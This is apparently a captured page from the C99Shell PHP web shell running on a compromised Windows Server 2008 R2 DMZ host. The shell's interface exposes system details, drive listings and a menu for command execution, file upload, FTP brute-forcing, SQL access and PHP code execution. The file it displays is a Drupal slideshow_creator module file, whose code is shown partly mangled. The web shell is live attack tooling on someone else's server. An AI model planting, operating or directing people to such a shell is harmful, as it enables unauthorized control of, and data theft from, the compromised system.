!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\drupal\modules\slideshow_creator\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     slideshow_creator.inc (13.89 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: slideshow_creator.inc,v 1.1.2.28 2008/07/10 09:09:47 brmassa Exp $
/**
 * @author Bruno Massa http://drupal.org/user/67164
 * @file
 * Create true slideshows using any image over internet with many other features.
 */

/**
 * Get all images on a given directory
 *
 * @param $path
 *  String. The absolute path to start the scanner
 * @param $path
 *  Boolean. TRUE for recursive scanning
 * @return
 *  Array. All images' paths
 */
function _slideshow_creator_explore_dir($path ''$recursive FALSE) {
  
// A list of image extensions. It should be on lower and
  // upper cases to work on non GNU systems, like Solaris and Windows
  
$exts = array('png''gif''jpeg''jpg''bmp',
    
'PNG''GIF''JPEG''JPG''BMP');

  
// Get all files from a given path
  
$files = array();
  foreach (
$exts as $ext) {
    if (
$new_files glob("$path*.$ext")) {
      
$files array_merge($files$new_files);
    }
  }

  
// If its a recursive scan, enter in all directories
  // and scan for more image files
  
if ($dirs glob("$path*"GLOB_ONLYDIR) and !empty($recursive)) {
    foreach (
$dirs as $dir) {
      
$files array_merge($files_slideshow_creator_explore_dir("$dir/"));
    }
  }

  return 
$files;
}

/**
 * The main user hook to display a slideshow.
 *
 * @param $output
 *   String. All the page text with the slideshow code
 * @return
 *   String. All the page text with the slideshow HTML/Javascript
 */
function _slideshow_creator_process_text($output) {
  
// Search for Slideshow Creator tags on the text.
  
if (preg_match_all('/\[slideshow:([^]]+)\]/i'$output$matchesPREG_SET_ORDER)) {
    
$max_ss count($matches);

    
// For each of the instances, replace the tag for
    // the real HTML code
    
foreach ($matches as $match) {
      
$attributes preg_split('|(?<!\\\),|'$match[1]);
      if (!empty(
$attributes)) {
        
$output preg_replace('/\[slideshow:([^]]+)\]/i',
          
_slideshow_creator_tagconversion($max_ss$attributes), $output1);
      }
    }
  }

  
// Return the original text with all slideshows correctly
  // inserted
  
return $output;
}

/**
 * Convert the slideshow tag into the data array that will
 * describe the Slideshow.
 *
 * @param &$max_ss
 *   Number. How many slideshows there are on the page
 * @param &$attributes
 *   Array. Each slideshow attributes, like 'img', 'dir', 'rotate'
 * @return
 *   String, The HTML code for the slideshow
 */
function _slideshow_creator_tagconversion(&$max_ss, &$attributes) {
  
$output '';

  
// Using version system, its possible to expand the slideshow functionality
  // and support old versions
  
switch ((int) $attributes[0]) {
    case 
1:
    case 
2:
    default:
      
$slides = array(
        
'#total'   => 0,
      );

      
$attributes_count count($attributes);
      foreach (
$attributes as $attribute) {
        
$attribute explode('='$attribute);

        
// If the attribute has no value, skip the validation
        
if (!isset($attribute[1]) or $attribute[1] == '') {
          continue;
        }

        if (
trim(drupal_strtolower($attribute[0])) == 'img') { // img tag: URL|link|title|description|target format
          
$img_attributes explode('|' $attribute[1]);
          if (!empty(
$img_attributes[1])) {
            
$slides['#total']++;
            
$slides[$slides['#total']] = array(
              
'#src'         => _slideshow_creator_url(check_url(trim($img_attributes[1]))),
              
'#link'        => empty($img_attributes[2]) ? ''_slideshow_creator_url(url(trim($img_attributes[2]))),
              
'#title'       => empty($img_attributes[3]) ? ''check_plain(preg_replace('|\\\,|'','trim($img_attributes[3]))),
              
'#description' => empty($img_attributes[4]) ? ''check_plain(preg_replace('|\\\,|'','trim($img_attributes[4]))),
              
'#target'      => !empty($img_attributes[5]) ? check_plain(trim($img_attributes[5])) : '_blank',
            );
          }
        }
        elseif (
trim(drupal_strtolower($attribute[0])) == 'dir') { // dir tag: scan all images from a given directory
          
$dir_attributes explode('|' $attribute[1]);
          if (!empty(
$dir_attributes[1]) and $files _slideshow_creator_explore_dir('./'$dir_attributes[1], $dir_attributes[2])) {
            foreach (
$files as $file) {
              
$file preg_replace('/^\.\//'''$file);
              
$slides['#total']++;
              
$slides[$slides['#total']] = array(
                
'#src'         => $file,
                
'#link'        => empty($dir_attributes[3]) ? ''$file,
                
'#title'       => empty($dir_attributes[4]) ? ''check_plain(preg_replace('|\\\,|'','trim($dir_attributes[4]))),
                
'#description' => empty($dir_attributes[5]) ? ''check_plain(preg_replace('|\\\,|'','trim($dir_attributes[5]))),
                
'#target'      => !empty($dir_attributes[6]) ? check_plain(trim($dir_attributes[6])) : '_blank',
              );
            }
          }
        }
        else { 
// all other tags
          
$list = array(
            
'layout'  => TRUE,
            
'width'   => TRUE,
            
'height'  => TRUE,
            
'name'    => TRUE,
          );
          
// For retro compatibility, we must filter some results
          // to simulate the previous behaviour
          
if ($list[trim($attribute[0])]) {
            
$slides['#'trim($attribute[0])] = check_plain(trim($attribute[1]));
          }
          else {
            
$value check_plain(trim($attribute[1]));
            if (
is_numeric($value)) {
              
$value = (int) $value;
            }
            if (
trim($attribute[0]) == 'blend') {
              
$slides['js']['speed'] = $slides['js']['blend'];
              unset(
$slides['js']['blend']);
            }
            elseif (
trim($attribute[0]) == 'rotate') {
              
$slides['js']['timeout'] = $slides['js']['rotate'];
              unset(
$slides['js']['rotate']);
            }
            
$slides['js'][trim($attribute[0])] = $value;
          }
        }
      }

      
// If at least one slide is valid, build the Slideshow
      
if ($slides['#total'] > 0) {

        
// The slideshow should be displayed using
        // a theme function to allow users to change
        // it's general look
        
$output theme('slideshow_creator'$slides);
      }
      break;
  }
  return 
$output;
}

/**
 * Repair internal urls using the pathfilter module, if available.
 *
 * @param $url
 *   String, The url to complete (if internal)
 * @return
 *   String, The full url, filtered from internal
 */
function _slideshow_creator_url($url) {
  if (
module_exists('pathfilter')) {
    
// Wrap url in double quotes, filter and then remove double quotes
    
return preg_replace("(^\"|\"$)"''pathfilter_filter('process'0, -1'"'$url .'"'));
  }
  else {
    
// Return URL as-is
    
return $url;
  }
}

/**
 * Format the slideshow
 * @ingroup themeable
 */
function theme_slideshow_creator($ss) {
  
// To ensure that all slideshows have a unique
  // ID, the current_ss variable will hold a automatic
  // increasing number
  
static $ssid 0;
  ++
$ssid;

  static 
$settings;
  if (empty(
$settings)) {
    
$settings variable_get('slideshow_creator_settings', array());
  }

  
// Merge the current slideshow data with previously saved default settings
  
$ss array_merge($settings$ss);

  
// Default settings for jQuery Cycle plugin
  // The proper JavaScript commands of next and previuos
  
$ss['js']['pause'] = TRUE;
  
$ss['js']['next']  = '#ssc-next-'$ssid;
  
$ss['js']['prev']  = '#ssc-previous-'$ssid;

  
// This will put the pieces into a given order,
  // base on which "layout" the user chose.
  
if (empty($ss['#layout']) or $ss['#layout'] == 'default') {
    
$layout = array('#previous''#status''#next', array('#title''#main''#description'));
  }
  elseif (
$ss['#layout'] == 'reverse') {
    
$layout = array(array('#title''#main''#description'), '#previous''#status''#next');
  }
  elseif (
$ss['#layout'] == 'bottom') {
    
$layout = array('#previous''#status''#next', array('#title''#description''#main'));
  }
  elseif (
$ss['#layout'] == 'top') {
    
$layout = array(array('#main''#title''#description'), '#previous''#status''#next');
  }
  elseif (
$ss['#layout'] == 'none') {
    
$layout = array(array('#main''#title''#description'));
  }

  
_theme_slideshow_creator_nextprevious($ssid$ssc$ss);

  
// Building the slideshow parts: title, name, slideshow weight and height
  
$css_class      = !empty($ss['name']) ? $ss['name'] : '';

  
// Setting the image height and width
  
$css_width  $ss['#width'] .'px';
  
$css_height $ss['#height'] .'px';

  
// Create each image. The order should be:
  // 1* the current picture to the end
  // 2* the first picture to the current
  
for ($i $ss['#current']; $i <= $ss['#total']; ++$i) {
    
_theme_slideshow_creator_content($ssid$ssc$ss[$i 1]);
  }
  for (
$i 1$i $ss['#current']; ++$i) {
    
_theme_slideshow_creator_content($ssid$ssc$ss[$i 1]);
  }

  
// Put all pieces togheter, according to layout
  
foreach ($layout as $piece) {
    if (
is_array($piece)) {
      
$output .= "<span id='ssc-content-$ssid' class='ssc-content' style=\"height:$css_height;width:$css_width;\">\n";
      foreach (
array_keys($ssc['#content']) as $slide) {
        
$output .= "<span id='ssc-slide-$ssid-$slide' style=\"height:$css_height;width:$css_width;\">\n";
        foreach (
$ssc['#content'][$slide] as $piece2) {
          
$output .= $piece2;
        }
        
$output .= "</span>\n";
      }
      
$output .= "</span>\n";
    }
    else {
      
$output .= $ssc[$piece];
    }
  }

  
// Add the CSS file
  
drupal_add_css(drupal_get_path('module''slideshow_creator') .'/slideshow_creator.css');

  
// Add the main JavaScript, that does all the magic
  
drupal_add_js(drupal_get_path('module''slideshow_creator') .'/slideshow_creator.js');
  
drupal_add_js(drupal_get_path('module''jquery_plugin') .'/jquery.cycle.min.js');

  
// Filter the JS object to avoid JS injection
  // NOTE: this list should be periodically updated with cycle jQuery plugin
  
$cycle_attributes array_flip(array('''fx''timeout''continuous''speed''speedIn''speedOut',
    
'next''prev''prevNextClick''pager''pagerClick''pagerEvent',
    
'pagerAnchorBuilder''before''after''end''easing''easeIn''easeOut',
    
'shuffle''animIn''animOut''cssBefore''cssAfter''fxFn''height',
    
'startingSlide''sync''random''fit''pause''autostop''autostopCount',
    
'delay''slideExpr''cleartype''nowrap'));
  foreach (
$ss['js'] as $attribute) {
    if (empty(
$cycle_attributes[$attribute])) {
      unset(
$ss['js'][$attribute]);
    }
  }

  
drupal_add_js(array('ssc' => array($ssid => $ss['js'])), 'setting');

  
// Put everything inside a SPAN tag
  
return  "<span class='ssc $css_class' id='ssc-$ssid' style='width:$css_width;'>\n$output</span>\n";
}

/**
 * Build the main content of the slideshow. It needs a different
 * process because the content is the union of separated parts
 * that are build in a loop process.
 *
 * @param $ssid
 *   Number. The slideshow unique ID
 * @param &$ssc
 *   Array. The slideshow final data array
 * @param &$ss
 *   Array. The partial data array, extracted from the ssc tag
 */
function _theme_slideshow_creator_content($ssid, &$ssc, &$ss) {
  
$title = !empty($ss['#title']) ? $ss['#title'] : '';

  if (!empty(
$ss['#src'])) {
    
// Build the image
    
$image theme('image'$ss['#src'], check_plain($title),
      
check_plain($title), NULLFALSE);

    
// Add a new image link
    
if (empty($ss['#link'])) {
      
$main $image ."\n";
    }
    else {
      
$main l($image$ss['#link'], array('html' => TRUE)) ."\n";
    }
  }
  else {
    
$main $ss['#main'];
  }

  
$ssc['#content'][] = array(
    
'#title'       => "<span class='ssc-title'>$title</span>\n",
    
'#description' => '<span class="ssc-description">'$ss['#description'] ."</span>\n",
    
'#main'        => "<div class='ssc-main'>$main</div>\n",
  );
}

/**
 * To build the correct link for NEXT and PREVIOUS
 * buttons (for non-javascript browsers), we need to
 * know which slide each slideshow is now.
 *
 * @param $ssid
 *   Number. The slideshow unique ID
 * @param &$ssc
 *   Array. The slideshow final data array
 * @param &$ss
 *   Array. The partial data array, extracted from the ssc tag
 */
function _theme_slideshow_creator_nextprevious($ssid, &$ssc, &$ss) {
  if (!empty(
$_GET['ssc'])) {
    
$status_sscs explode(';'$_GET['ssc']);
    foreach (
$status_sscs as $status_ssc) {
      
$temp explode(',' $status_ssc);
      if (
$temp[0] == $ssid) {
        
$sscs['next'][] = $temp[1] + $slides['#total'] ? $ssid .',1' $ssid .','. ($temp[1] + 1);
        
$sscs['previous'][] = $temp[1] - $ssid .','$slides['#total'] : $ssid .','. ($temp[1] - 1);
        
$ss['#current'] = $temp[1];
        
$toggle TRUE;
      }
      else {
        
$sscs['next'][] = $status_ssc;
        
$sscs['previous'][] = $status_ssc;
        
$ss['#current'] = 1;
      }
    }
  }

  if (empty(
$toggle)) {
    
$sscs['next'][] = $ss['#total'] > check_plain($ssid .',2') : check_plain($ssid .',1');
    
$sscs['previous'][] = check_plain($ssid .','$ss['#total']);
    
$ss['#current'] = 1;
  }

  
$ss['link_next']      = check_plain(implode(';'$sscs['next']));
  
$ss['link_previous']  = check_plain(implode(';'$sscs['previous']));

  
// Put a PREVIOUS and NEXT buttons if there are more
  // then one image (generally TRUE for a slideshow)
  
if ($ss['#total'] > 1) {
    
$ssc['#previous'] = l(t('Previous'), $_GET['q'], array('query' =>  'ssc='$ss['link_previous'],
      
'attributes' => array('id' => "ssc-previous-$ssid"'class' => 'ssc-previous')));
    
$ssc['#next']     = l(t('Next'), $_GET['q'],  array('query' => 'ssc='$ss['link_next'],
      
'attributes' => array('id' => "ssc-next-$ssid"'class' => 'ssc-next'))) ."\n";
    
$ssc['#status']   = " <span class='ssc-index' id='ssc-index-$ssid'>".
      
t($ss['#current_slide_string']) ." <span class='ssc-current' id='ssc-current-$ssid'>".
      
$ss['#current'] .'</span>/'$ss['#total'] .' </span>';
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--